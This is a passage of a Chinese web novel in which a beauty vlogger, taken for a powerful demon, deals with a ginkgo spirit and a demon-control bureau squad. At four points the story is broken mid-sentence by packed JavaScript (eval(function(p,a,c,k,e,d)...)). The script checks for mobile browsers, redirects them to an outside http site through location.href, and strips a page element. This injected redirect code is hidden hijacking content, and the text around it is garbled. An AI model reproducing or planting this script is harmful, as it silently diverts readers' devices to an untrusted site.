抬眸见到来人，她莞尔一笑，收回眼，低头继续着手上的动作，开口道：“石队长请回吧，落秋一个小女子，可不想惹什么是非。” 她很清楚石瑚此行的目的，无非就是想问问那位大人的事情。 可别说落秋本身就不知道什么，就算是真的知道，她也不敢随意透露。 石瑚和她的小队行事向来很讲公道，尽职尽责地处理着一些作恶的妖怪，同时也从来不会无缘无故的将矛头指向安分守己的妖怪们。所以他们这一片的妖怪们和石瑚他们小队的交情还算是不错，甚至有时候也会主动给他们提供一些情报线索。 可眼下却是不同了，落秋虽然推测游书姝或许对人类社会是比较感兴趣的，甚至是乐意于去融入的，但也只是推测罢了。 现在他们和那位大人的接触太少了，谁又能真正笃定地说那位大人对人类、特别是对妖管局是个什么态度呢？ 落秋不想惹事，最好的法子就是暂时不要和妖管局的人有什么接触。 然而石瑚皱了皱眉，还是坐到了落秋对面的椅子上：“落秋女士，我是想来跟你打听一下最近新来的那个大妖。” 落秋轻笑：“石队长说笑了，落秋一个小女子，能知道些什么，请回吧。” 石瑚眉头拧起：“我没有别的意思，只是想知道她的来历和来我们这里的目的而已。” “石队长莫要高看我了，大人们的过往，岂是我们能追究的。大人们的想法，又岂是我们能知道的。” 石瑚没有想到她的态度竟然这么坚决，竟是一个字都不肯透露，这让她感到事情越发的难以掌握。 她装了张口，还打算再说些什么，落秋却先她一步打断了她：“石队长不是本地人吧？” 这一句话说得有些没来由，石瑚虽是不解，但还是回答了：“不是。” 落秋接着说道：“我听说妖管局里，若是有处理不了的情况，可以向上级请示。上级会派级别更高的除妖师前来。要是在任职地上出了什么意外，以至于难以再在当地继续呆下去，还会被调离到其他的地方。” 说罢，落秋扭头看向了院子里的银杏树：“世人皆说，人挪死，树挪活。可实际上，人才是更易挪的那个，石队长你说是吗？” 石瑚沉默了下来，她听明白了落秋的意思。 他们如果得罪了大妖，还可以请上级派级别更高的主要是来处理这件事，真要是处理不了，申请调任到其他地方就是了。可落秋作为古杏妖却是扎根在云杏寺里的，她不想得罪那个大妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812711|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “抱歉，是我考虑不周了。”石瑚并不打算和落秋交恶，当即表示了歉意。 随后，想了想，她说了一句：“另外……我刚刚在云杏寺门口碰到那个大妖了。” 落秋瞳孔微微一缩，手中的树叶落到桌上：“你……” 石瑚已经遇上了那位大人，那就是说……大人已经知道妖管局的人来找她了？ 石瑚眼中带着歉意：“抱歉，我也没想到会……” 落秋深吸了一口气，随后缓缓吐出，苦笑道：“无妨，石队长既然能遇上大人，那想来大人也早就知晓我们之间曾有过联络了。” 她和石瑚想的一样，并没有把这件事情当做是什么偶然。 只是……大人先前说无意插手他们的事，如今却又在石瑚来云杏寺打听情况的时候露了面，不知道是什么意思。 落秋已经在心里想着等会要怎么去找游书姝那儿探探口风了。 她看向石瑚，开口道：“石队长可还有什么旁的事？” 这话一出，算是下了逐客令了。 石瑚自知已经给落秋添了麻烦，此刻自然是干脆利落地起身：“没什么了，打扰你了。你……如果需要帮忙的话，可以来找我。” 落秋微垂下眸：“多谢。” “不必，毕竟是我贸然到访才会变成这样。”石瑚心里多少也有些过意不去。 说罢，石瑚起身，就要离开。 在她即将迈步跨出门槛的时候，落秋忽地来了一句：“石队长若是真的想知道那位大人是什么意思，不如直接登门拜访一下。” 石瑚回过头看向她，目光似乎是在询问她这么说的原因。 然而落秋已经低下头去，重新拿起了那片自己刚刚在细心雕琢的叶片。 石瑚垂眸思索了一下，说了一句：“谢谢。” 随后迈步离开了。 落秋将叶片收起，随后无声地叹了一口气。 她刚刚说的那句话，倒也不完全是给石瑚指路。她觉得那位大人多半已经猜到了妖管局来找她的原因，之后石瑚他们登门去拜访的话，也可以侧面表示一下她真的什么都没和妖管局的人透露。 虽说她对与游书姝的情况也不甚了解，就算真的想透露，也没什么好透露的就是了。 ── 石瑚从云杏寺离开后，并没有直接往邻近的游书姝那个小区去，而是和队员折返了特殊协调管理局。 并不是她不相信落秋提出的建议，而是拜访大妖这种事情，怎么着也得先和队员们商量一下，做足了准备再去。 那毕竟是大妖，还是一个他们毫不熟悉的大妖。万一对方是个不好沟通的，那可能就不是上门拜访，而是上门送食了。 落秋则是在石瑚离开后就赶紧收拾了一下东西，将体验馆给关了，往游书姝住的小区走去。 游书姝完全不知道自己路上偶遇了一个人引发了多少的猜测，她在回家的路上就忍不住冒出了一个念头—— 要不然……下个视频拍古杏妖吧？ 11.第11章 仿妆古杏妖，或者说……仿妆落秋这个念头冒出来以后，游书姝就有些压不下去了。 虽说当时落秋那副打眼看去就知道不是人类的妖异模样确实是让游书姝感到心惊，但在那之后再回想起来，游书姝也确实得承认——落秋那天的打扮真的极美。 妖异夺目，却并非浓艳盛颜。或许是落秋身上那淡雅的气质，也或许是她发间的银杏叶还是青翠的颜色，总之她的妖异并不像世俗惯常认为的那种浓妆艳抹的张扬妖媚。 如果说龙女的妖是一种带着神圣不可侵犯的感觉，那落秋的妖就带着一种清新而柔美的感觉。 此外……因为落秋的缘故，游书姝后面对古杏妖相关的内容也多有关注。 自春日抽新芽到夏日生机勃发再到秋日落叶，古杏妖的性情会发生很大的改变，作为选题来说，故事性也会很强，游书姝甚至可以弄出不同阶段的妆造来。 越想越心动，游书姝回到家后就打开了陆扶光给的文件和妖妖灵的论坛，整理起了和古杏妖相关的资料。 哦对了，到时候是不是还应该去弄一些银杏树叶来？ 游书姝想到了刚刚才在云杏寺那边看到的银杏树。 嗯……要去那儿拿吗？ 总觉得不是很好，尤其是在知道了落秋就是那棵银杏树后…… 正想着，游书姝听到了门外的声音。 “大人，妾身有事求见。” 虽然龙女的妆能卸以后游书姝那段时间内增长的五感都再次消退了回去，但房间门的隔音效果并没有那么优秀，所以游书姝也还是能够隐约听见屋外的声音的。 没有敲门，而且喊的是大人。 又是妖怪吗？ 游书姝来到门边，透过猫眼往外看。 见到门外微垂着眉眼的旗袍女子，她微愣了愣。 落秋？ 是落秋吧？这么……人类的样子，她一时间还真是差点没认出来。 她怎么过来了？而且还是这么巧的时候。 游书姝思考了一下，没有开门，而是隔着门开口问：“落秋？有什么事吗？” 门外的落秋面上虽是看不出来，但心中其实有些许紧张，低垂着眉眼恭顺道：“大人，妾身是来请罪的。” “请罪？”游书姝不解，“请什么罪？” 她是真不解，但这话落在落秋耳中却有几分意味不明。 既然她“装作”不知道，那落秋也顺着她的“伪装”去回答：“我们区这边，妖管局的队长石队长素来办案公正，对我等也是以礼相待，故而有时若是我等不与他们有什么冲突，也会与他们的妖管局的人有些消息上的来往。” 听着她说的话，游书姝略一挑眉。 妖管局她是知道的，论坛里倒是也有见妖怪们发过相关的帖子，还不少。 官方的除妖师机构，不过就她在论坛里四处潜水观察到的情况来看，妖管局的行事作风似乎没那么统一。 有些地方的妖管局和妖怪们简直是势同水火，有的地方倒是还算井水不犯河水。 听落秋这么说，看来他们这儿的妖怪和妖管局的关系还算是挺不错的了，还能有些小合作。 不过落秋突然和她说这个做什么？ 正想着，就听落秋继续往下说道：“近日……妖管局的人或许也是知晓了大人的到来，想要探听一些消息，故而才找到了妾身这里。” 等等、探听她的消息？ 游书姝微怔。 门外，落秋虽然还在向她表忠心，说自己并没有向妖管局的人透露有关游书姝的情况，但游书姝的关注点已经完全不在那上面了。 官方除妖师注意到她了，这个情况让游书姝不由咬了咬下唇。 这绝不是一个好消息。 从妖妖灵上的生态环境来看，虽然现代科技很是发达，但妖怪们之间的关系却还是保留在一个比较传统的拉山头、拜大王的阶段，上下阶层的管理也主要是靠自觉或者妖术契约。 但人类社会不一样，大数据档案管理，想查的话，能把她从小到大的履历都给翻出来。 她到时候要怎么解释自己从人变成了妖怪又变回人？ 游书姝有种旧的危机还没彻底解决新的危机又已经到来的头疼感。 最头疼的是她自己都不确定自己究竟算是个人还是个妖怪，好像两边她都能靠一靠，又好像哪边都归入不了。 如果她是一个并不太惹人注目的也就算了，现在的情况确实两边都在关注着她，结果就是两边对她来说都很危险，唯独她独自站在中间的尖端上，摇摇欲坠。 门外落秋的话已经说完，在静静等着游书姝的回话了。然而门内的游书姝却是眉头紧锁地思考着自己该何去何从。 这种两不靠的局面显然是很不妙的，尤其是不管面对的是妖怪还是除妖师，游书姝都没有什么自保的能力，随便一边都能把她给料理了。 再不济……她至少得先靠向一边，那等真的有什么状况了，她也能拉个帮忙的。 可……要选人类还是妖怪呢？ 这些天来自妖妖灵上了解到的各种情况迅速从游书姝脑中一一闪过，她思虑良久，最后将目光落到了门外的落秋身上。 此时的落秋已经安静了有一会儿了，她似乎也知道门内的游书姝在思考，因此一直静静候着。 游书姝稍稍抿了下有些干涩的嘴唇，随后打开了门。 对上落秋有些惊讶的目光，游书姝稍稍侧身：“进来吧。” 落秋确实很惊讶，因为她是知道的，这位大人一直没有让哪个妖怪进过门，一直都只是隔着门会回上几句话而已。 她这是……？ 抱着些许惊疑，落秋恭敬地垂首：“多谢大人。” 游书姝还是有些不太适应这种被人全程当成了上位阶层来对待的感觉，但她也没纠正，扭头去给落秋倒水。 “蜂蜜柚子茶喝吗？”她问。 落秋没想到她还要招待自己，有种不真实的感觉，微低下头去：“妾身皆可，多谢大人。” 于是游书姝给她泡了杯蜂蜜柚子茶，看着落秋对她表示感恩，心中琢磨着自己该以什么样的姿态去融入到妖怪这边。 是的，她想往妖怪这边融入一下。因为人类那边有些极端的除妖师，不管你是好妖坏妖，他们基本上都是见妖就除。而妖怪中虽然也有不喜欢人类的，但还没有到见人就杀的地步。 当然也有可能是因为人类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818335|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数量要比妖怪多太多了。 但不管怎么样，碰上极端的妖怪还有点回旋的余地，碰上极端的除妖师，她一个不知道究竟是人是妖的，可能直接就被判死刑了。 至于那些不极端的部分，那其实哪边都差不太多。 眼下游书姝接触得更多的是妖怪们，且最近她接触到的附近的妖怪们都还比较好相处，看上去似乎是周边妖怪们的半个代言人的落秋目前来看性格也比较温和好接触，所以她思考过后还是决定和妖怪们接触接触。 虽说实际上之前已经在接触了…… 落秋端着游书姝给她泡的蜂蜜柚子茶，虽是不敢到处乱看，却是不动声色地在注意着周围。 非常……普通的感觉。就像是普通的人类女性家里一样。 落秋也是有人类朋友的，也曾有过这种去对方家里做客的情况，游书姝家里看上去就和那些普通的人类家里差不多。除了……那些被统一堆放在一旁的东西。 似乎是……大家献上来的供奉。可是看样子那些东西并没有被动过。 或许在大人眼中，这些东西都算不上什么吧。 她将这些收在眼底，心中也所有思量：大人今日让她进来是为了什么？ 难道是因为……妖管局？ 正在她猜测的时候，游书姝开口了：“你刚刚说你们和这边的妖管局有过联系？” 落秋心道果然，应声道：“是的大人。” 游书姝手指轻轻敲在自己手中的马克杯上，看似随意地开口：“你对他们了解有多少？” 落秋想了想，开口道：“我们银湖区这儿的乃是401小队，队长名为石瑚，是官方自己培养的除妖师，士级，实力与妾身相当。” 游书姝注意到了她说的官方培养。 是像军人那样已经有成熟的培养体系了吗？ 此外，落秋直接就是说的银湖区，并没有往下细分。这是说银湖区这边就只有一个401小队的意思了。 一个区只有一个小队负责，就是不知道这个小队是多大的一个小队了。 “士级？”游书姝对最后这个士级提出了疑问。 落秋见她似乎不知道这个，便同她介绍了一下妖管局的实力划分。 游书姝微微颔首，表示明白：“你继续吧。” 随后落秋又和她说了一下石瑚和她所带领的701小队的一些事情，出于谨慎，她没有掺杂任何的个人偏向，也不发表自己的看法，只是将事情原原本本地说了出来。 游书姝静静听着，心中对这个石队长和她的小队大概有所了解。 果然是官方出身，这个石队长听上去就是军人的作风，讲道理，很公正，也重情义。 落秋将自己知道的都说了，随后道：“妾身知晓的便是这些了，若是大人还想了解一些旁的，妾身也可向其他妖怪问询一二。” 游书姝拒绝了：“不必。” 知道这些就够了，她只是想了解一下而已，而这些是她在妖妖灵的论坛上找不到的消息情报，这就是和落秋他们接触的好处。 她想了想，又装作漫不经心地问了落秋一个问题：“你认不认识擅长卜算的妖怪？” 她想算一算她的情况。 12.第12章 找一个精通卜算的妖怪，这个念头并不是游书姝突然冒出来的。 前两天她就有在妖妖灵的论坛上有关推演卜算的妖术教程，当时它就产生了这个想法——是不是能通过这种方法来知道自己身上的秘密？ 但那玩意儿上手的难度实在是有些高，而且就算真的学了，你也没办法判断自己到底是学会了还是学废了。 所以……在等自己学会了以后再自力更生和现在就去找个已经学会了的妖怪前辈帮忙卜一下当中，游书姝选择了后者。 也正是因此，才有了她对落秋这个看似突然的询问。 落秋也有些意外，不知道游书姝为何会突然问起这么一个问题，她想了想，反问道：“不知大人询问这个是为了……？” 似乎是怕游书姝误会，她又赶忙补充了一句：“大人见谅，并非落秋有意打探，只是……若是知晓大人想要卜算什么，落秋才好给大人做相应的推荐。” “无妨，”游书姝表示理解，她思索了下，回答道，“我想卜算一些关于我自己的事情。” “这……”落秋的表情看上去有些为难，她沉吟片刻，随后回道，“若是想卜算和大人您有关的事，只怕是……” 嗯？ 游书姝面带些许疑惑地看向她。 见此，落秋解释道：“大人，以您的身份，寻常的小妖只怕是卜不得您的因果命数。” 游书姝懂了，小妖卜大妖，怕是没命去卜。 她寻思自己是大妖吗？可无论是落秋还是妖管局好像都拿她当大妖，游书姝也有些拿不准自己算不算。 落秋这么说，游书姝本以为是找不到能给自己卜算的妖怪了，却不想落秋来了个柳暗花明，紧接着又道：“不过……若是大人想卜的话，或许可以去找圭灵高人。” 游书姝：？ “龟苓膏……人？” 落秋也听出了她的断句，知道她是误会了，轻笑道：“大人，是圭灵、高人。双土圭，灵验的灵。” 游书姝：“……” 再次对妖怪们的奇奇怪怪的取名方式表示不理解。 这跟抽象网友有什么区别？ 虽然妖怪当中好像确实也有不少抽象网友。 落秋含笑介绍道：“大人莫要见怪，是这位大人的网名就叫圭灵高人。我见大人也有在用手机电脑，应当也是接触过网络的？” 游书姝默默点头，心想她不仅接触过网络，还是个拥有四十几万粉丝的小网红，就靠互联网吃饭呢…… 她都不敢想等回头落秋发现自己口口声声喊的大人还是个美妆博主，会是什么个心情。 此时的落秋自然是不知道的，见游书姝点了头，她继续说道：“那大人可以到网上去搜一搜，这位大人时常会开直播在线为人卜卦，也时常会有妖怪去找他在线卜卦。” “这位大人性情虽是有些……随性，但出自乌洲那位大人名下，若是大人想找人卜算的话，这位应当是能够算上一二的。” 游书姝暗自消化着她话里的信息。 乌洲那位大人…… 天下五洲，青洲、朱洲、皓洲、乌洲、中洲。能在别人的话中以一洲开头就能代指的大人，不必怀疑，肯定是大妖中的大妖了。 考虑到落秋会特地提到这位大人，那他估计是擅长卜算那一类的，至少是在这一行里说出去就很靠谱的那种。 这样的妖怪下面的弟子，肯定也是差不到哪里去的。 好消息是这种级别的妖如果能帮忙卜算的话，应该是能算到的。 坏消息嘛……如果对方算得太准，算出了什么对她不利的东西，那就完了。 虽然后面这点在游书姝考虑着要找人卜算自己的时候就已经考虑进去了。 她倒是想得很开，反正她现在就是前进也不是很安全，原地不动也不是很安全的情况，而她不喜欢困守原地。 她掏出手机来，询问落秋是哪个平台，然后在那个平台上找到了这位圭灵高人。 “是这个吗？” 落秋微微点头：“是。” 游书姝看着那个视频里光着膀子给人掐算的肌肉男，一时间不知道对方的粉丝量到底是因为算得灵还是因为姐妹们馋他身子…… 这年头，妖怪上网也擦边吗？ 难怪刚刚落秋说到对方性格的时候诡异的停顿了一下。 是挺随性，随的那个“性”…… 游书姝先把对方关注了，下面关联推荐了她另外几个筋肉系男菩萨。 游书姝：“……” 她现在告诉大数据她其实并不是喜欢肌肉男还有得救吗？ 暂且不管大数据的事，将手机放下，游书姝的目光又落到了客厅一角堆放的那些供奉上。 她真的头疼这些东西已经好一阵子了。 现在正好落秋来了，游书姝借此机会开口：“你来得真好，这些都是近日里附近的妖怪给我送来的供奉。我已经说了我不需要供奉，你把这些东西拿回去，分还给他们吧。” 落秋怔了怔，万万没想到还会有退还供奉这种事发生。 她思忖片刻，低下眸子恭敬问道：“恕落秋斗胆，还请大人收下这些。” “妾身知晓，大人无意插手吾等小妖的琐事，也曾让妖传下话来，无心收纳供奉，不会为吾等提供庇佑。然大人既是已经到了此处，又大肆释放威压以作警示，那些平日里总是偷奸耍滑的妖怪们畏于大人之威，必然是不敢再生事端。” “如此一来，大人虽是无心，却也让吾等其他安分守己的妖怪们得了好处。不求大人为吾等提供什么庇佑，大人您在此便已经福泽吾等。既是如此，众妖诚心献上供奉也是应当。” “故，落秋知晓吾等献上的东西怕是入不得大人的眼，但也还请大人收下。” 当然，还有一点落秋没说就是……只有游书姝收下了，妖怪们才更安心。不然整天都忧心忡忡地觉得大妖不要供奉是不是其实想要他们的命…… 听了落秋的话，游书姝沉默了。 她只觉得自己更危险了。 她这哪里是拿大妖的名头去震慑那些坏妖，分明是拿自己的小命去震慑！ 她就是空城计里那个城墙顶上弹琴的人啊！ 游书姝最后还是没能让落秋把那些供奉给拿走，只不过在落秋临走之前，游书姝思虑再三还是和她提了一嘴：“有个事情，我想着还是和你说一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823940|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 落秋还是那副恭顺的样子：“大人请讲。” “你刚刚也提到了网上的那个圭灵高人，我最近打算做一个古杏妖的仿妆，想以你做参考，你觉得如何？”毕竟是有求于妖，游书姝特意把一直伪装得很是冷淡的语气又放柔了下来。 她觉得自己的视频发到网上，说不得哪天就有可能被落秋给见到，或者被其他妖怪给刷到了，又推给落秋。那她还是先和落秋打一声招呼比较好。 而且她想拿人家做参考，也总得问一下对方愿不愿意。 不过游书姝也担心落秋是迫于她“大妖”的淫威才同意的，所以补充道：“当然，你要是不愿意，也可以直说，我不会怪你。只是一个视频罢了，不是什么大事，我还不至于对这种小事有什么意见。” 她尽量装得像是一个有着自己傲气所以不介意这种琐事的上位者，以增加一些说服力。 落秋先是愣了愣，有些意外于大妖做仿妆视频还要拿她做参考这件事。不过她很快就回过神来，点头道：“妾身自是没什么意见的，大人看得上妾身的打扮，是妾身的荣幸。” 游书姝摇了摇头：“不，你不要把我当成一个大妖在对你提要求。你现在就把我当成一个普通的人，在向你提这个要求，你会同意吗？” 落秋抬眸与游书姝的目光对上了片刻，随后莞尔：“便是如此，不也是好事么？大人生得姝颜如此，却还愿意来仿妾身的打扮，那便是说明妾身的打扮也是不错的，又有几个女性能不为此而欣喜呢？” 游书姝看着她，也忍不住露出了今天和落秋见面以来的第一个笑来：“那好，多谢了。” 落秋笑着低头：“大人既是如此说，那妾身便斗胆收下这声谢了。” “我如果想和你了解和你们古杏妖有关的事情……你方便和我说上一二吗？” “妾身想要问，只管传唤妾身来便是。” 传唤什么的，游书姝觉得可太不客气了。她转问道：“还是我去找你吧，你住在哪儿？就在云杏寺？” “妾身就在云杏寺内，大人到云杏寺找妾身便可。” “好。” —— 落秋回去了，送走了落秋，游书姝缓缓舒了一口气。 别看她好像很淡定，但这可是她第一次和一个妖怪面对面交谈，尤其是她现在和之前的状况不同，完全是人类状态，没有什么妖术可言。 她的神经实际上一直都紧绷着，好几次都在下意识地摸自己手腕上陆扶光寄来的手链，生怕被落秋看出她不是个大妖，然后就地把她给料理了。 现在看来，情况似乎要比她好得多。 虽然变回来了，但这些妖怪……似乎还是把她当成大妖的。 另一头，落秋从游书姝那儿出来后也是松了一口气。 她没想到，这位大人竟然能将自己完全伪装成人类，她方才竟是没从她身上感受到半分妖气。如若不是前些日子还隔着门与对方有过接触，她只怕是会把对方给当成真的人类。 不过回想起刚刚游书姝对她露出的那一抹笑，落秋也是不禁心神放松下来浅浅勾起了一抹笑。 她料想得不错，这位大人确实是个好相与的。 13.第13章 落秋走后没一会儿，游书姝就收到了甲方爸爸那边传来的消息，她的视频通过了，可以不用修改就按照这个样子直接发布。 不用再返工修改，这无疑是一个好消息。然而还有更好的消息—— 有娇颜的上级看了她的视频，认为她这个妖怪主题的仿妆非常好，希望和她达成后续的继续合作。如果她的这些视频流量能达标的话，他们品牌希望在这个系列的后续视频中，游书姝也能使用他们的产品。 游书姝原本还在为妖怪的事情而感到有些许放松不下来的神情顿时飞扬了起来。 这就是个长期饭票！ 搞好了，她就能在之后一段时间内都稳定恰上饭了。 一时间，游书姝心脏砰砰跳，哪怕是甲方爸爸说视频已经可以了，她依旧是忍不住又把剪辑文件给掏了出来，再精修一下。 搞定之后，她看了眼时间，觉得也差不多了，这才心怀忐忑与期待地将视频给发布到了网络上，然后将视频链接发给甲方爸爸一份。 当然，她也没忘了把链接也发给陆扶光一份，并告诉了他这个好消息。 陆扶光听到后也高兴极了，并表示要帮游书姝把她的视频转发分享出去。 游书姝心头一惊，赶忙阻止。 【姝姝】：你可别！这福分我可承受不起，到时候你那些女友粉不得把我给扒出来撕了。 游书姝虽然不追星，但因为身边有这么一个炸子鸡朋友，所以对娱乐圈的情况也算是稍有了解。 当红流量的粉丝有多恐怖她是知道的，往日里她和陆扶光私下里见面都得小心翼翼地乔装打扮，生怕一不小心被他的粉丝碰上了，到时候传出什么绯闻来。陆扶光这要是突然把她的视频给转发了，那他的粉丝不得炸了锅。 然而陆扶光却是淡定得很。 【扶摇直上之光】：哎呀，姝姐你就放心吧，我看着像是那么鲁莽的人吗？ 游书姝想说他不是像，他就是。 全网谁不知道他陆扶光出了名的娱乐圈愣头青。 【扶摇直上之光】：你可别忘了我现在可是娇颜的代言人，我作为代言人，转发一下自己代言的品牌的相关视频，这不是很正常嘛？ 游书姝微愣一下，似乎也有道理。 【姝姝】：但你那个代言不是还没有公开吗？ 【扶摇直上之光】：说是没有公开，但外面都猜得差不多了。我去娇颜总部拍广告片的时候就被粉丝拍到了，现在转发个视频就全当预热了。 【扶摇直上之光】：而且我这个代言过几天就要公开了，正好转发一下就当预热了，我可早就和尤姐已经商量过了，她都同意了的，你就放心吧！ 见他提到尤姐，游书姝这才没再说什么，同意了他帮忙转发，不过却是让他别急着现在就转发。 好歹也等视频热度稍微起来了一些，否则怎么解释他一个流量明星闲着没事儿就翻到了她这么个小网红的视频。 【扶摇直上之光】：好啦好啦～我知道了。 手机另一端的陆扶光露出一个得逞表情。 他计划这个事儿可是好久了，就等着游书姝的视频弄好呢。他姝姐如今大学刚毕业，他不管怎么着都得帮一帮她。 游书姝在和他说完这个以后也是不由暖心一笑，她知道陆扶光是想给她帮忙，她承这份情，她会记着的。 当然，还有前些日子对方为了她去打听消息的事，她也记着的。 另一边，石瑚回到了妖管局，当即就召集全队的人开会。 二字姓的大妖，让落秋谨小慎微到不敢言之分毫，能完全遮盖掉自身妖怪的气息，最关键的是——石瑚刚巧就和对方在云杏寺门口见了一面。 “队、队长……有没有可能那真的就是碰巧呢？”有队员忍不住说，“能完全遮盖掉自身妖气的妖怪那总共才多少啊，就这么被咱们给碰上了？有没有可能这个游书姝压根就没有出事儿，你见到的就是她本人呢？” 云瑚目光直直看向他：“那你觉得她刚好和我对视上，还对我露出来了一个微笑，也是巧合？” 这个队员闭嘴了。 说到底，他也只是抱了个侥幸心理。 要知道，他们这儿平时处理的可都是一些小妖的事件，像落秋这种有名无姓的士级妖怪就已经让他们严肃对待了。公卿级的妖怪都只是听说，突然冒出来一个公卿级保底、最高可能达到天级的妖怪，一时半会儿谁不觉得压力山大？ 这就跟让平日里都在管居民纠纷的派出所民警去拦截导弹一样，那完完全全就是上去送菜吧？ 石瑚继续补充道：“而且她在与我对视之后，还看了一眼银杏树的银杏树。我不觉得这是巧合。” 无人反驳。 石瑚接着又说出了一些当时的细节：“对方当时手里还提着东西，看上去是刚刚采买回来，确实有点像是偶遇。” 不过现在已经没有人觉得那是偶遇了。 “队长，你的意思是……对方不是专程在那里等着你，而是正好卡着那个时间点出现的？” 石瑚将目光放到了那个同自己去银杏寺的队员身上，示意对方开口。 那人立刻点头，然后道：“刚刚回来后，队长让我去调取了那附近的监控记录。” “监控显示，对方此前出现在了银湖边，看样子应该是去散步，之后去了超市和农贸市场，从农贸市场出来后正好沿着这条路经过云杏寺回家。” 所有人都沉默了下来。 石瑚右手食指敲击着桌面：“对方很有可能是一个擅长卜算和布局的妖怪。” 没有人对此表示不同看法。 一个擅长卜算和谋划的妖怪，而且还能将自己的妖气进行完全隐藏。 “她的境界应该不会是虚的，虽然暂时不能确定对方是什么妖，但基本可以将她确定为王侯级了。” 之所以不考虑天级，是因为天级的数量太少了。不少三字姓都挤不进天级，二字姓更是一个没有。 大家也都认可了石瑚的判断。 “队长，咱们跟上面打报告吧。”有队员提出。 “是啊，队长。这已经超出咱们能处理的事件范围了。” 申请上级指派级别更高的大佬来接管，这是最好的选择。王侯级，那绝对不是他们能应对得了的。 然而在队员们的目光注视之下，石瑚却没有直接点头同意这个提案。 “先跟上级汇报，申请先缓一缓。”她双手按在桌面上，“云杏寺那位说，建议我们登门拜访一下。” “啊？”下面的队员一懵，“拜访谁？不会是要我们去拜访那个大妖吧？” 他本来就是随口那么一说，谁知下一秒石瑚就应了声：“嗯。” 会议室里顿时炸了锅。 “队长，这这这这……这也太危险了！” “是啊队长，咱们这儿又不是青洲，这怎么能行？” 青洲，那是妖怪和人类关系最和谐的地方。统领青洲妖怪的那一位一直主张和人类之间友好共存，是妖怪中主和派的领袖，整个青洲的妖怪在他的掌管之下都很安分。 在青洲，众多妖怪还会和妖管局之间合作，甚至在妖管局担任挂名顾问，帮着一起处理一些事端，让其他洲妖管局的同僚们都羡慕不已。 这要是在青洲，辖区内突然多了个大妖就偷着乐吧，那指定是上面的大妖怪派下来管理约束这一方妖怪的。 可他们这儿是中洲。 虽说要比妖怪主战派所聚集的朱洲要好上许多，但中洲有一个巨大的问题就是没有能够统领一洲的大妖怪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832470|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 妖怪们没有一个统一的领导者，这使得中洲地区每个地方都有可能会有不同的情况发生。可能东面的城市妖怪们和妖管局关系还不错，西面的就是两方天天掐架。也可能前一天这里的妖怪们还和和气气的呢，改名来了个主张敌对的大妖，然后整个片区就都跟着大妖一起乱起来了。 这也是石瑚他们会对游书姝这个突然冒出来的大妖十分关注的主要原因。 对于石瑚所说的，落秋建议他们去登门拜访这个大妖这件事，大家都觉得太过危险了。 万一对方不是友好或者中立的态度，这一去可能就回不来了。 不过也并不是所有人都反对，当中就有一个人保持了沉默，看上去像是在思考。 石瑚将目光看向了那人：“山柏，你有什么看法？” 一时，所有人都把目标投向了那个面容白净的青年。 他看上去不像是一个战斗单位的除妖师，更像是一个文员。但实际上论战斗能力，他在队内仅次于石瑚。 山柏见所有人都看过来，不急不缓地开口道：“我觉得或许行得通。” “原因呢？” “对方会去超市、农贸市场这种人流量很大的地方，并且还是去进行采购的，那说明对方对我们人类应该并没有很大的抵触厌恶情绪。” 这一点倒是确实。 不过也有队友反驳：“可是对人类没有抵触，不代表对我们妖管局的没有抵触啊。” 对于妖怪来说，人类无疑是弱小的那一方。可这并不包括除妖师们。 有些妖怪可能对人类并没有什么特殊看法，但会格外地讨厌除妖师。除妖师除妖师，单听这个名字就完全是站在妖怪对立面的。 虽然现在官方自称是特殊协调管理局，强调协调和管理，不配合的才镇压或抹除。绝大多数妖怪对他们还是没有太多的好印象。 尤其是还有一些极端的除妖师，见妖就除，给他们拉满了仇恨。 山柏并不着急，而是缓缓说道：“但是你别忘了，这是云杏寺那边给的建议。” “落秋女士虽然和我们一直保持着一种互不干扰的状态，但整体来说态度是友善的。而且从她的角度考虑，如果队长去拜访这个大妖会遇到危险的话，那就意味着我们这个片区的妖怪和妖管局彻底决裂，上级一定会派级别更高的人前来，这对他们来说也没有什么好处。” 